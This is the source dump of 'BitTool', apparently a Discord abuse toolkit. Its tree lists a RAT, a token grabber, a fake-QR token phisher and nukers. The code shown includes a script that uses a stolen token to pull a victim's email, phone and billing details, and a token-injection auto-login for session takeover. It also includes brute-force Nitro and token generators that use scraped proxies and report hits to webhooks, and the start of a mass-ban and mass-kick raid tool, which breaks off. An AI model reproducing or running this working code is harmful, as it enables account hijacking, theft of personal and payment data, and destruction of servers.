├── Additional_File ├── 10_TokenInfo │ └── tokeninfo.py ├── 11_AutoLogin │ ├── autologin.py │ └── chromedriver.exe ├── 12_NitroGen │ └── nitrogen.py ├── 13_TokenGen │ └── tokengen.py ├── 14_HypeSquadChanger │ └── hypesquadchanger.py ├── 15_CycleColorTheme │ └── cyclecolortheme.py ├── 16_WebHooksRemover │ └── webhooksremover.py ├── 1_Rat │ └── rat.py ├── 2_Raid │ └── raid.py ├── 3_VidCrashMaker │ └── crashvideomaker.bat ├── 4_MassReport │ └── massreport.py ├── 5_WebhookSpam │ └── webhookspam.py ├── 6_TokenGrab │ └── tokengrabber.py ├── 7_TokenFakeQr │ ├── chromedriver.exe │ ├── fakeqr.py │ └── img │ │ ├── back.png │ │ ├── discord.png │ │ └── qr_code.png ├── 8_TokenBrutForce │ └── brutforcetoken.py └── 9_TokenRape │ └── tokenrape.py ├── BitTool.py ├── LICENSE ├── README.md ├── Scraped ├── channels.txt ├── members.txt └── roles.txt ├── setup.bat ├── temp └── Scraped │ ├── channels.txt │ ├── members.txt │ └── roles.txt ├── tokens.txt └── utilities ├── chromedriver.exe ├── nukers └── AveryNuker │ ├── Scraped │ ├── channels.txt │ ├── members.txt │ └── roles.txt │ └── avery.exe ├── other ├── Astraahome │ └── astraahome.py └── crowntool │ └── crowntool.exe └── selfbots ├── exeter ├── Images │ └── Avatars │ │ └── Transparent.png ├── cogs │ ├── account │ │ └── null.py │ ├── antinuke │ │ └── null.py │ ├── general │ │ └── null.py │ ├── image │ │ └── null.py │ ├── misc │ │ └── null.py │ ├── music │ │ └── null.py │ ├── nsfw │ │ └── null.py │ ├── nuke │ │ └── null.py │ └── text │ │ └── null.py ├── exeter.py ├── logs │ └── spring.log └── song.mp3 └── nighty ├── Nighty.exe ├── config.json └── theme.json /Additional_File/10_TokenInfo/tokeninfo.py: -------------------------------------------------------------------------------- 1 | import time 2 | import requests 3 | import json 4 | import sys 5 | import os 6 | import ctypes 7 | from datetime import datetime 8 | from colorama import Fore 9 | 10 | def tokeninfo(): 11 | os.system('cls') 12 | tokeninfotitle() 13 | print(f"""{y}[{Fore.LIGHTBLUE_EX }#{y}]{w} You can find: \n\n""") 14 | print(f""" {y}[{w}+{y}]{w} Username {y}[{w}+{y}]{w} User ID {y}[{w}+{y}]{w} Creation Date {y}[{w}+{y}]{w} Avatar URL\n""") 15 | print(f""" {y}[{w}+{y}]{w} Token {y}[{w}+{y}]{w} Nitro Status {y}[{w}+{y}]{w} Expiration date {y}[{w}+{y}]{w} Phone Number\n""") 16 | print(f""" {y}[{w}+{y}]{w} Email {y}[{w}+{y}]{w} 2FA/MFA Enabled {y}[{w}+{y}]{w} Flags {y}[{w}+{y}]{w} Language\n""") 17 | print(f""" {y}[{w}+{y}]{w} Email Verified {y}[{w}+{y}]{w} Payment Method {y}[{w}+{y}]{w} Payment Type\n\n\n""") 18 | global token 19 | print(f"""{y}[{w}+{y}]{w} Enter the token on which you want to find information : """) 20 | token = str(input(f"""\n{y}[{b}#{y}]{w} Token: """)) 21 | 22 | headers = { 23 | 'Authorization': token, 24 | 'Content-Type': 'application/json' 25 | } 26 | 27 | languages = { 28 | 'da' : 'Danish, Denmark', 29 | 'de' : 'German, Germany', 30 | 'en-GB' : 'English, United Kingdom', 31 | 'en-US' : 'English, United States', 32 | 'es-ES' : 'Spanish, Spain', 33 | 'fr' : 'French, France', 34 | 'hr' : 'Croatian, Croatia', 35 | 'lt' : 'Lithuanian, Lithuania', 36 | 'hu' : 'Hungarian, Hungary', 37 | 'nl' : 'Dutch, Netherlands', 38 | 'no' : 'Norwegian, Norway', 39 | 'pl' : 'Polish, Poland', 40 | 'pt-BR' : 'Portuguese, Brazilian, Brazil', 41 | 'ro' : 'Romanian, Romania', 42 | 'fi' : 'Finnish, Finland', 43 | 'sv-SE' : 'Swedish, Sweden', 44 | 'vi' : 'Vietnamese, Vietnam', 45 | 'tr' : 'Turkish, Turkey', 46 | 'cs' : 'Czech, Czechia, Czech Republic', 47 | 'el' : 'Greek, Greece', 48 | 'bg' : 'Bulgarian, Bulgaria', 49 | 'ru' : 'Russian, Russia', 50 | 'uk' : 'Ukranian, Ukraine', 51 | 'th' : 'Thai, Thailand', 52 | 'zh-CN' : 'Chinese, China', 53 | 'ja' : 'Japanese', 54 | 'zh-TW' : 'Chinese, Taiwan', 55 | 'ko' : 'Korean, Korea' 56 | } 57 | 58 | cc_digits = { 59 | 'american express': '3', 60 | 'visa': '4', 61 | 'mastercard': '5' 62 | } 63 | 64 | res = requests.get('https://discordapp.com/api/v6/users/@me', headers=headers) 65 | 66 | if res.status_code == 200: 67 | res_json = res.json() 68 | user_name = f'{res_json["username"]}#{res_json["discriminator"]}' 69 | user_id = res_json['id'] 70 | avatar_id = res_json['avatar'] 71 | avatar_url = f'https://cdn.discordapp.com/avatars/{user_id}/{avatar_id}.gif' 72 | phone_number = res_json['phone'] 73 | email = res_json['email'] 74 | mfa_enabled = res_json['mfa_enabled'] 75 | flags = res_json['flags'] 76 | locale = res_json['locale'] 77 | verified = res_json['verified'] 78 | 79 | language = languages.get(locale) 80 | creation_date = datetime.utcfromtimestamp(((int(user_id) >> 22) + 1420070400000) / 1000).strftime('%d-%m-%Y %H:%M:%S UTC') 81 | has_nitro = False 82 | res = requests.get('https://discordapp.com/api/v6/users/@me/billing/subscriptions', headers=headers) 83 | nitro_data = res.json() 84 | has_nitro = bool(len(nitro_data) > 0) 85 | 86 | if has_nitro: 87 | d1 = datetime.strptime(nitro_data[0]["current_period_end"].split('.')[0], "%Y-%m-%dT%H:%M:%S") 88 | d2 = datetime.strptime(nitro_data[0]["current_period_start"].split('.')[0], "%Y-%m-%dT%H:%M:%S") 89 | days_left = abs((d2 - d1).days) 90 | billing_info = [] 91 | 92 | for x in requests.get('https://discordapp.com/api/v6/users/@me/billing/payment-sources', headers=headers).json(): 93 | yy = x['billing_address'] 94 | name = yy['name'] 95 | address_1 = yy['line_1'] 96 | address_2 = yy['line_2'] 97 | city = yy['city'] 98 | postal_code = yy['postal_code'] 99 | state = yy['state'] 100 | country = yy['country'] 101 | 102 | if x['type'] == 1: 103 | cc_brand = x['brand'] 104 | cc_first = cc_digits.get(cc_brand) 105 | cc_last = x['last_4'] 106 | cc_month = str(x['expires_month']) 107 | cc_year = str(x['expires_year']) 108 | 109 | data = { 110 | 'Payment Type': 'Credit Card', 111 | 'Valid': not x['invalid'], 112 | 'CC Holder Name': name, 113 | 'CC Brand': cc_brand.title(), 114 | 'CC Number': ''.join(z if (i + 1) % 2 else z + ' ' for i, z in enumerate((cc_first if cc_first else '*') + ('*' * 11) + cc_last)), 115 | 'CC Exp. Date': ('0' + cc_month if len(cc_month) < 2 else cc_month) + '/' + cc_year[2:4], 116 | 'Address 1': address_1, 117 | 'Address 2': address_2 if address_2 else '', 118 | 'City': city, 119 | 'Postal Code': postal_code, 120 | 'State': state if state else '', 121 | 'Country': country, 122 | 'Default Payment Method': x['default'] 123 | } 124 | 125 | elif x['type'] == 2: 126 | data = { 127 | 'Payment Type': 'PayPal', 128 | 'Valid': not x['invalid'], 129 | 'PayPal Name': name, 130 | 'PayPal Email': x['email'], 131 | 'Address 1': address_1, 132 | 'Address 2': address_2 if address_2 else '', 133 | 'City': city, 134 | 'Postal Code': postal_code, 135 | 'State': state if state else '', 136 | 'Country': country, 137 | 'Default Payment Method': x['default'] 138 | } 139 | 140 | billing_info.append(data) 141 | 142 | print(f"""\n{y}[{b}#{y}]{w} Basic Information:""") 143 | print(f""" {y}[{w}+{y}]{w} Username: {user_name}""") 144 | print(f""" {y}[{w}+{y}]{w} User ID: {user_id}""") 145 | print(f""" {y}[{w}+{y}]{w} Creation Date: {creation_date}""") 146 | print(f""" {y}[{w}+{y}]{w} Avatar URL: {avatar_url if avatar_id else ""}""") 147 | print(f""" {y}[{w}+{y}]{w} Token: {token}\n\n""") 148 | 149 | print(f"""{y}[{b}#{y}]{w} Nitro Information:""") 150 | print(f""" {y}[{w}+{y}]{w} Nitro Status: {has_nitro}""") 151 | 152 | if has_nitro: 153 | print(f""" {y}[{w}+{y}]{w} Expires in: {days_left} day(s)\n\n""") 154 | else: 155 | print(f""" {y}[{w}+{y}]{w} Expires in: None day(s)\n\n""") 156 | 157 | print(f"""{y}[{b}#{y}]{w} Contact Information:""") 158 | print(f""" {y}[{w}+{y}]{w} Phone Number: {phone_number if phone_number else ""}""") 159 | print(f""" {y}[{w}+{y}]{w} Email: {email if email else ""}\n\n""") 160 | 161 | if len(billing_info) > 0: 162 | print(f"""{y}[{b}#{y}]{w} Billing Information:""") 163 | if len(billing_info) == 1: 164 | for x in billing_info: 165 | for key, val in x.items(): 166 | if not val: 167 | continue 168 | print(Fore.RESET + ' {:<23}{}{}'.format(key, Fore.CYAN, val)) 169 | 170 | else: 171 | for i, x in enumerate(billing_info): 172 | title = f'Payment Method #{i + 1} ({x["Payment Type"]})' 173 | print(' ' + title) 174 | print(' ' + ('=' * len(title))) 175 | for j, (key, val) in enumerate(x.items()): 176 | if not val or j == 0: 177 | continue 178 | print(Fore.RESET + ' {:<23}{}{}'.format(key, Fore.CYAN, val)) 179 | 180 | if i < len(billing_info) - 1: 181 | print('\n') 182 | 183 | print('\n') 184 | 185 | print(f"""{y}[{b}#{y}]{w} Account Security:""") 186 | print(f""" {y}[{w}+{y}]{w} 2FA/MFA Enabled: {mfa_enabled}""") 187 | print(f""" {y}[{w}+{y}]{w} Flags: {flags}\n\n""") 188 | print(f"""{y}[{b}#{y}]{w} Other:""") 189 | print(f""" {y}[{w}+{y}]{w} Locale: {locale} ({language})""") 190 | print(f""" {y}[{w}+{y}]{w} Email Verified: {verified}""") 191 | 192 | elif res.status_code == 401: 193 | print(f""" {y}[{Fore.LIGHTRED_EX }#{y}]{w} Invalid token""") 194 | time.sleep(2) 195 | main() 196 | 197 | else: 198 | print(f""" {y}[{Fore.LIGHTRED_EX }#{y}]{w} An error occurred while sending request""") 199 | time.sleep(2) 200 | main() 201 | 202 | input(f"""\n\n\n{y}[{b}#{y}]{w} Press ENTER to exit""") 203 | main() 204 | 205 | tokeninfo() 206 | -------------------------------------------------------------------------------- /Additional_File/11_AutoLogin/autologin.py: -------------------------------------------------------------------------------- 1 | import os, sys, time, os.path, pyperclip, pyautogui, ctypes 2 | from colorama import Fore 3 | from selenium import webdriver 4 | 5 | def autologin() : 6 | os.system('cls') 7 | autologintitle() 8 | print(f"""{y}[{w}+{y}]{w} Enter the token of the account you want to connect to: """) 9 | print() 10 | entertoken = str(input(f"""{y}[{b}#{y}]{w} Token: """)) 11 | print("\n\n") 12 | if len(entertoken) >= 59: 13 | driver = webdriver.Chrome(executable_path=r'Additional_File/11_AutoLogin/chromedriver.exe') 14 | driver.maximize_window() 15 | driver.get('https://discord.com/login') 16 | js = 'function login(token) {setInterval(() => {document.body.appendChild(document.createElement `iframe`).contentWindow.localStorage.token = `"${token}"`}, 50);setTimeout(() => {location.reload();}, 500);}' 17 | time.sleep(3) 18 | driver.execute_script(js + f'login("{entertoken}")') 19 | time.sleep(10) 20 | if driver.current_url == 'https://discord.com/login': 21 | os.system('cls') 22 | autologintitle() 23 | print(f"""{y}[{Fore.LIGHTRED_EX }!{y}]{w} Connection Failed""") 24 | driver.close() 25 | else: 26 | os.system('cls') 27 | autologintitle() 28 | print(f"""{y}[{Fore.LIGHTGREEN_EX }!{y}]{w} Connection Established""") 29 | input(f"""{y}[{b}#{y}]{w} Press ENTER to exit""") 30 | main() 31 | else: 32 | print(f""" {y}[{Fore.LIGHTRED_EX }!{y}]{w} There is a problem with your Token.""") 33 | time.sleep(2) 34 | os.system('cls') 35 | main() 36 | 37 | autologin() 38 | -------------------------------------------------------------------------------- /Additional_File/11_AutoLogin/chromedriver.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BitStore-dev/BitTool/a395a1a8bb2e958e0fa5c79bc0fbbbdfc5995606/Additional_File/11_AutoLogin/chromedriver.exe -------------------------------------------------------------------------------- /Additional_File/12_NitroGen/nitrogen.py: -------------------------------------------------------------------------------- 1 | import time 2 | import os 3 | from colorama import Fore 4 | import random 5 | import string 6 | import ctypes 7 | from discord_webhook import DiscordWebhook 8 | import requests 9 | 10 | 11 | class NitroGen: 12 | def __init__(self): 13 | self.fileName = "temp/NitroCodes.txt" 14 | 15 | def main(self): 16 | os.system('cls' if os.name == 'nt' else 'clear') 17 | if os.name == "nt": 18 | print("") 19 | os.system(f'title Nitro Generator and Checker - Made by Astraa') 20 | else: 21 | print(f'\33]0;Nitro Generator and Checker - Made by Astraa\a', end='', flush=True) 22 | 23 | os.system('cls') 24 | nitrogentitle() 25 | print(f"""{y}[{w}#{y}]{w} Input How Many Codes to Generate and Check: """) 26 | num = int(input(f"""{y}[{b}#{y}]{w} Number of generation: """)) 27 | 28 | print(f"""\n{y}[{w}+{y}]{w} Do you wish to use a discord webhook? - [If so type it here or press enter to ignore]""") 29 | url = input(f"""{y}[{b}#{y}]{w} WebHook: """) 30 | time.sleep(1) 31 | os.system('cls') 32 | webhook = url if url != "" else None 33 | valid = [] 34 | invalid = 0 35 | 36 | for i in range(num): 37 | try: 38 | code = "".join(random.choices( 39 | string.ascii_uppercase + string.digits + string.ascii_lowercase, 40 | k = 16 41 | )) 42 | url = f"https://discord.gift/{code}" 43 | 44 | result = self.quickChecker(url, webhook) 45 | 46 | if result: 47 | valid.append(url) 48 | else: 49 | invalid += 1 50 | except Exception as e: 51 | print(f"{y}[{Fore.LIGHTRED_EX }!{y}]{w} Error : {url} ") 52 | 53 | if os.name == "nt": 54 | ctypes.windll.kernel32.SetConsoleTitleW(f"Nitro Generator and Checker - {len(valid)} Valid | {invalid} Invalid - Made by Astraa") 55 | print("") 56 | else: 57 | print(f'\33]0;Nitro Generator and Checker - {len(valid)} Valid | {invalid} Invalid - Made by Astraa\a', end='', flush=True) 58 | 59 | print(f"""\n 60 | {y}[{b}+{y}]{w} Results:\n 61 | {y}[{Fore.LIGHTGREEN_EX }!{y}]{w} Valid: {len(valid)} 62 | {y}[{Fore.LIGHTRED_EX }!{y}]{w} Invalid: {invalid} 63 | {y}[{w}!{y}]{w} Valid Codes: {', '.join(valid )}""") 64 | 65 | input(f"""\n\n{y}[{b}#{y}]{w} Press ENTER to exit""") 66 | main() 67 | 68 | def generator(self, amount): 69 | with open(self.fileName, "w", encoding="utf-8") as file: 70 | print(f"{y}[{b}#{y}]{w} Wait, Generating for you") 71 | 72 | start = time.time() 73 | 74 | for i in range(amount): 75 | code = "".join(random.choices( 76 | string.ascii_uppercase + string.digits + string.ascii_lowercase, 77 | k = 16 78 | )) 79 | 80 | file.write(f"https://discord.gift/{code}\n") 81 | 82 | print(f"Genned {amount} codes | Time taken: {round(time.time() - start, 5)}s\n") # 83 | 84 | def fileChecker(self, notify = None): 85 | valid = [] 86 | invalid = 0 87 | with open(self.fileName, "r", encoding="utf-8") as file: 88 | for line in file.readlines(): 89 | nitro = line.strip("\n") 90 | 91 | url = f"https://discordapp.com/api/v9/entitlements/gift-codes/{nitro}?with_application=false&with_subscription_plan=true" 92 | 93 | response = requests.get(url) 94 | 95 | if response.status_code == 200: 96 | print(f"{Fore.WHITE}[{Fore.GREEN}!{Fore.WHITE}] {Fore.GREEN}VALID NITRO{Fore.WHITE} : {nitro} ") 97 | valid.append(nitro) 98 | 99 | if notify is not None: 100 | DiscordWebhook( 101 | url = notify, 102 | content = f"@everyone | A valid Nitro has been found => {nitro}" 103 | ).execute() 104 | else: 105 | break 106 | else: 107 | print(f"{Fore.WHITE}[{Fore.RED}!{Fore.WHITE}] {Fore.RED}INVALID NITRO{Fore.WHITE} : {nitro} ") 108 | invalid += 1 109 | 110 | return {"valid" : valid, "invalid" : invalid} 111 | 112 | def quickChecker(self, nitro, notify = None): 113 | 114 | url = f"https://discordapp.com/api/v9/entitlements/gift-codes/{nitro}?with_application=false&with_subscription_plan=true" 115 | response = requests.get(url) 116 | 117 | if response.status_code == 200: 118 | print(f"{Fore.WHITE}[{Fore.GREEN}!{Fore.WHITE}] {Fore.GREEN}VALID NITRO{Fore.WHITE} : {nitro} ", flush=True, end="" if os.name == 'nt' else "\n") 119 | with open("temp/NitroCodes.txt", "w") as file: 120 | file.write(nitro) 121 | 122 | if notify is not None: 123 | DiscordWebhook( 124 | url = notify, 125 | content = f"@everyone | A valid Nitro has been found => {nitro}" 126 | ).execute() 127 | 128 | return True 129 | 130 | else: 131 | print(f"{Fore.WHITE}[{Fore.RED}!{Fore.WHITE}] {Fore.RED}INVALID NITRO{Fore.WHITE} : {nitro}", flush=True, end="" if os.name == 'nt' else "\n") 132 | return False 133 | 134 | if __name__ == '__main__': 135 | Gen = NitroGen() 136 | Gen.main() -------------------------------------------------------------------------------- /Additional_File/13_TokenGen/tokengen.py: -------------------------------------------------------------------------------- 1 | import time 2 | import os 3 | from colorama import Fore 4 | import random 5 | import string 6 | import ctypes 7 | from discord_webhook import DiscordWebhook 8 | import requests 9 | 10 | 11 | class TokenGen: 12 | def __init__(self): 13 | self.fileName = "temp/TokenCodes.txt" 14 | 15 | def main(self): 16 | os.system('cls' if os.name == 'nt' else 'clear') 17 | if os.name == "nt": 18 | print("") 19 | os.system(f'title Token Generator and Checker - Made by Astraa') 20 | else: 21 | print(f'\33]0;Token Generator and Checker - Made by Astraa\a', end='', flush=True) 22 | 23 | os.system('cls') 24 | tokengentitle() 25 | print(f"""{y}[{w}#{y}]{w} Input How Many Codes to Generate and Check: """) 26 | num = int(input(f"""{y}[{b}#{y}]{w} Number of generation: """)) 27 | 28 | print(f"""\n{y}[{w}+{y}]{w} Do you wish to use a discord webhook? - [If so type it here or press enter to ignore]""") 29 | url = input(f"""{y}[{b}#{y}]{w} WebHook: """) 30 | time.sleep(1) 31 | os.system('cls') 32 | webhook = url if url != "" else None 33 | valid = [] 34 | invalid = 0 35 | 36 | for i in range(num): 37 | try: 38 | code = "ODA"+random.choice(string.ascii_letters)+''.join(random.choice(string.ascii_letters + string.digits) for _ in range(20))+"."+random.choice(string.ascii_letters).upper()+''.join(random.choice(string.ascii_letters + string.digits) for _ in range(5))+"."+''.join(random.choice(string.ascii_letters + string.digits) for _ in range(27)) 39 | url = f"{code}" 40 | 41 | result = self.quickChecker(url, webhook) 42 | 43 | if result: 44 | valid.append(url) 45 | else: 46 | invalid += 1 47 | except Exception as e: 48 | print(f"{y}[{Fore.LIGHTRED_EX }!{y}]{w} Error : {url} ") 49 | 50 | if os.name == "nt": 51 | ctypes.windll.kernel32.SetConsoleTitleW(f"Token Generator and Checker - {len(valid)} Valid | {invalid} Invalid - Made by Astraa") 52 | print("") 53 | else: 54 | print(f'\33]0;Token Generator and Checker - {len(valid)} Valid | {invalid} Invalid - Made by Astraa\a', end='', flush=True) 55 | 56 | print(f"""\n 57 | {y}[{b}+{y}]{w} Results:\n 58 | {y}[{Fore.LIGHTGREEN_EX }!{y}]{w} Valid: {len(valid)} 59 | {y}[{Fore.LIGHTRED_EX }!{y}]{w} Invalid: {invalid} 60 | {y}[{w}!{y}]{w} Valid Codes: {', '.join(valid )}""") 61 | 62 | input(f"""\n\n{y}[{b}#{y}]{w} Press ENTER to exit""") 63 | main() 64 | 65 | def generator(self, amount): 66 | with open(self.fileName, "w", encoding="utf-8") as file: 67 | print(f"{y}[{b}#{y}]{w} Wait, Generating for you") 68 | 69 | start = time.time() 70 | 71 | for i in range(amount): 72 | code = "".join(random.choices( 73 | string.ascii_uppercase + string.digits + string.ascii_lowercase, 74 | k = 16 75 | )) 76 | 77 | file.write(f"{code}\n") 78 | 79 | print(f"Genned {amount} codes | Time taken: {round(time.time() - start, 5)}s\n") # 80 | 81 | def getProxies(): 82 | r = requests.get('https://api.proxyscrape.com/?request=displayproxies&proxytype=http&timeout=5000&ssl=yes') 83 | proxies = [] 84 | for proxy in r.text.split('\n'): 85 | proxy = proxy.replace('\r', '') 86 | if proxy: 87 | proxies.append(proxy) 88 | return proxies 89 | 90 | global ProxyList 91 | ProxyList = getProxies() 92 | 93 | def fileChecker(self, notify = None): 94 | valid = [] 95 | invalid = 0 96 | with open(self.fileName, "r", encoding="utf-8") as file: 97 | for proxy in ProxyList: 98 | ProxyParameters ={'http://': proxy,'https://': proxy} 99 | for line in file.readlines(): 100 | token = line.strip("\n") 101 | headers = { 102 | 'Authorization': f'{token}' 103 | } 104 | url = requests.get(f"https://discordapp.com/api/v6/auth/login", proxies=ProxyParameters, timeout=5, headers=headers) 105 | response = requests.get(url) 106 | if response.status_code == 200: 107 | print(f"{Fore.WHITE}[{Fore.GREEN}!{Fore.WHITE}] {Fore.GREEN}VALID TOKEN{Fore.WHITE} : {token} ") 108 | valid.append(token) 109 | 110 | if notify is not None: 111 | DiscordWebhook( 112 | url = notify, 113 | content = f"@everyone | A valid Token has been found => {token}" 114 | ).execute() 115 | else: 116 | break 117 | else: 118 | print(f"{Fore.WHITE}[{Fore.RED}!{Fore.WHITE}] {Fore.RED}INVALID TOKEN{Fore.WHITE} : {token} ") 119 | invalid += 1 120 | 121 | return {"valid" : valid, "invalid" : invalid} 122 | 123 | def quickChecker(self, token, notify = None): 124 | 125 | url = f"https://discordapp.com/api/v9/entitlements/gift-codes/{token}?with_application=false&with_subscription_plan=true" 126 | response = requests.get(url) 127 | 128 | if response.status_code == 200: 129 | print(f"{Fore.WHITE}[{Fore.GREEN}!{Fore.WHITE}] {Fore.GREEN}VALID TOKEN{Fore.WHITE} : {token} ", flush=True, end="" if os.name == 'nt' else "\n") 130 | with open("temp/TokenCodes.txt", "w") as file: 131 | file.write(token) 132 | 133 | if notify is not None: 134 | DiscordWebhook( 135 | url = notify, 136 | content = f"@everyone | A valid Token has been found => {token}" 137 | ).execute() 138 | 139 | return True 140 | 141 | else: 142 | print(f"{Fore.WHITE}[{Fore.RED}!{Fore.WHITE}] {Fore.RED}INVALID TOKEN{Fore.WHITE} : {token}", flush=True, end="" if os.name == 'nt' else "\n") 143 | return False 144 | 145 | if __name__ == '__main__': 146 | Gen = TokenGen() 147 | Gen.main() -------------------------------------------------------------------------------- /Additional_File/14_HypeSquadChanger/hypesquadchanger.py: -------------------------------------------------------------------------------- 1 | import os 2 | import requests 3 | from colorama import Fore 4 | 5 | def hypesquadchanger(): 6 | os.system('cls') 7 | hypesquadchangertitle() 8 | print(f"""{y}[{b}#{y}]{w} Which house do you want to be part of: \n\n""") 9 | print(f""" {y}[{w}01{y}]{w} Bravery\n""") 10 | print(f""" {y}[{w}02{y}]{w} Brilliance\n""") 11 | print(f""" {y}[{w}03{y}]{w} Balance\n\n\n""") 12 | print(f"""{y}[{w}+{y}]{w} Enter your House choice : """) 13 | house = str(input(f"""{y}[{b}#{y}]{w} Choice: """)) 14 | print(f"""\n{y}[{w}+{y}]{w} Enter the token of the account you want to change HypeSquad House : """) 15 | token = str(input(f"""{y}[{b}#{y}]{w} Token: """)) 16 | 17 | headers = {'Authorization': token, 'Content-Type': 'application/json'} 18 | r = requests.get('https://discord.com/api/v8/users/@me', headers=headers) 19 | if r.status_code == 200: 20 | headers = { 21 | 'Authorization': token, 22 | 'Content-Type': 'application/json', 23 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.305 Chrome/69.0.3497.128 Electron/4.0.8 Safari/537.36' 24 | } 25 | if house == "1" or house == "01": 26 | payload = {'house_id': 1} 27 | elif house == "2" or house == "02": 28 | payload = {'house_id': 2} 29 | elif house == "3" or house == "03": 30 | payload = {'house_id': 3} 31 | else: 32 | print(f""" {y}[{Fore.LIGHTRED_EX }#{y}]{w} Invalid Choice""") 33 | input(f"""\n{y}[{b}#{y}]{w} Press ENTER to exit""") 34 | main() 35 | r = requests.post('https://discordapp.com/api/v6/hypesquad/online', headers=headers, json=payload, timeout=10) 36 | if r.status_code == 204: 37 | print(f""" \n{y}[{Fore.LIGHTGREEN_EX }!{y}]{w} Hypesquad House changed""") 38 | input(f"""\n{y}[{b}#{y}]{w} Press ENTER to exit""") 39 | main() 40 | else: 41 | print(f""" {y}[{Fore.LIGHTRED_EX }#{y}]{w} Invalid token""") 42 | input(f"""\n{y}[{b}#{y}]{w} Press ENTER to exit""") 43 | main() 44 | 45 | hypesquadchanger() 46 | -------------------------------------------------------------------------------- /Additional_File/15_CycleColorTheme/cyclecolortheme.py: -------------------------------------------------------------------------------- 1 | import time 2 | import os 3 | import requests 4 | from itertools import cycle 5 | from colorama import Fore 6 | 7 | def cyclecolortheme(): 8 | os.system('cls') 9 | cyclecolorthemetitle() 10 | print(f"""{y}[{w}+{y}]{w} Enter the token of the account you want to Cycle Color theme : """) 11 | token = input(f"""{y}[{b}#{y}]{w} Token: """) 12 | 13 | headers = {'Authorization': token, 'Content-Type': 'application/json'} 14 | r = requests.get('https://discord.com/api/v8/users/@me', headers=headers) 15 | if r.status_code == 200: 16 | print(f"""\n{y}[{w}+{y}]{w} Enter the number of cycles : """) 17 | amount = int(input(f"""{y}[{b}#{y}]{w} Amount: """)) 18 | print() 19 | modes = cycle(["light", "dark"]) 20 | os.system('cls') 21 | for i in range(amount): 22 | print(f"""{y}[{Fore.LIGHTGREEN_EX }{i+1}{y}]{w} Theme Color has been changed""") 23 | time.sleep(0.12) 24 | setting = {'theme': next(modes)} 25 | requests.patch("https://discord.com/api/v8/users/@me/settings", headers=headers, json=setting) 26 | os.system('cls') 27 | cyclecolorthemetitle() 28 | print(f"""{y}[{b}#{y}]{w} Finished Trolling""") 29 | input(f"""\n{y}[{b}#{y}]{w} Press ENTER to exit""") 30 | main() 31 | else: 32 | print(f""" {y}[{Fore.LIGHTRED_EX }#{y}]{w} Invalid token""") 33 | input(f"""\n{y}[{b}#{y}]{w} Press ENTER to exit""") 34 | main() 35 | 36 | cyclecolortheme() 37 | -------------------------------------------------------------------------------- /Additional_File/16_WebHooksRemover/webhooksremover.py: -------------------------------------------------------------------------------- 1 | import os 2 | import requests 3 | from colorama import Fore 4 | 5 | def webhooksremover(): 6 | os.system('cls') 7 | webhooksremovertitle() 8 | try: 9 | print(f"""{y}[{w}+{y}]{w} Enter the WebHook you want to delete: """) 10 | webhook = input(f"""{y}[{b}#{y}]{w} WebHook Link: """) 11 | requests.delete(webhook.rstrip()) 12 | print(f"""\n{y}[{Fore.LIGHTGREEN_EX }!{y}]{w} Webhook has been deleted""") 13 | input(f"""\n{y}[{b}#{y}]{w} Press ENTER to exit""") 14 | main() 15 | except: 16 | print(f"""\n{y}[{Fore.LIGHTRED_EX }!{y}]{w} Webhook could not be deleted""") 17 | input(f"""\n{y}[{b}#{y}]{w} Press ENTER to exit""") 18 | main() 19 | 20 | webhooksremover() 21 | -------------------------------------------------------------------------------- /Additional_File/2_Raid/raid.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import os 3 | import sys 4 | import threading 5 | import time 6 | import json 7 | import asyncio 8 | import discord 9 | import aiohttp 10 | from pypresence import Presence 11 | from discord import Webhook, AsyncWebhookAdapter 12 | from discord.ext import commands 13 | from colorama import Fore 14 | 15 | os.system(f'cls & mode 85,20 & title [Astraa Nuker] - Configuration') 16 | 17 | print(f"""\n{Fore.LIGHTWHITE_EX }[{Fore.LIGHTWHITE_EX }+{Fore.LIGHTWHITE_EX }] Enter the token of the bot you will use to execute the RAID commands: """) 18 | token = input(f"""{Fore.LIGHTWHITE_EX }[{Fore.LIGHTBLUE_EX }#{Fore.LIGHTWHITE_EX }] Bot token: """) 19 | print(f"""\n{Fore.LIGHTWHITE_EX }[{Fore.LIGHTWHITE_EX }+{Fore.LIGHTWHITE_EX }] Do you want to activate the rich presence: """) 20 | rich_presence = input(f"""{Fore.LIGHTWHITE_EX }[{Fore.LIGHTBLUE_EX }#{Fore.LIGHTWHITE_EX }] Rich Presence (Y/N): """) 21 | 22 | os.system('cls') 23 | 24 | def check_token(): 25 | if requests.get("https://discord.com/api/v8/users/@me", headers={"Authorization": f'{token}'}).status_code == 200: 26 | return "user" 27 | else: 28 | return "bot" 29 | 30 | def RichPresence(): 31 | if rich_presence == "y" or rich_presence == "Y": 32 | try: 33 | RPC = Presence("816053514584195073") 34 | RPC.connect() 35 | RPC.update(details="Connected", large_image="averylarge2", small_image="avery", large_text="github.com/AstraaDev", start=time.time()) 36 | except: 37 | pass 38 | 39 | rich_presence = RichPresence() 40 | token_type = check_token() 41 | intents = discord.Intents.all() 42 | intents.members = True 43 | 44 | if token_type == "user": 45 | headers = {'Authorization': f'{token}'} 46 | client = commands.Bot(command_prefix=">", case_insensitive=False, self_bot=True, intents=intents) 47 | elif token_type == "bot": 48 | headers = {'Authorization': f'Bot {token}'} 49 | client = commands.Bot(command_prefix=">", case_insensitive=False, intents=intents) 50 | 51 | client.remove_command("help") 52 | 53 | class Nuker: 54 | 55 | def __init__(self): 56 | self.colour = Fore.LIGHTBLUE_EX 57 | 58 | def BanMembers(self, guild, member): 59 | while True: 60 | r = requests.put(f"https://discord.com/api/v8/guilds/{guild}/bans/{member}", headers=headers) 61 | if 'retry_after' in r.text: 62 | time.sleep(r.json()['retry_after']) 63 | else: 64 | if r.status_code == 200 or r.status_code == 201 or r.status_code == 204: 65 | print(f"{Fore.LIGHTWHITE_EX }[{self.colour}+{Fore.LIGHTWHITE_EX }] Banned {member.strip()}") 66 | break 67 | else: 68 | break 69 | 70 | def KickMembers(self, guild, member): 71 | while True: 72 | r = requests.delete(f"https://discord.com/api/v8/guilds/{guild}/members/{member}", headers=headers) 73 | if 'retry_after' in r.text: 74 | time.sleep(r.json()['retry_after']) 75 | else: 76 | if r.status_code == 200 or r.status_code == 201 or r.status_code == 204: 77 | print(f"{Fore.LIGHTWHITE_EX }[{self.colour}+{Fore.LIGHTWHITE_EX }] Kicked {member.strip()}") 78 | break 79 | else: 80 | break 81 | 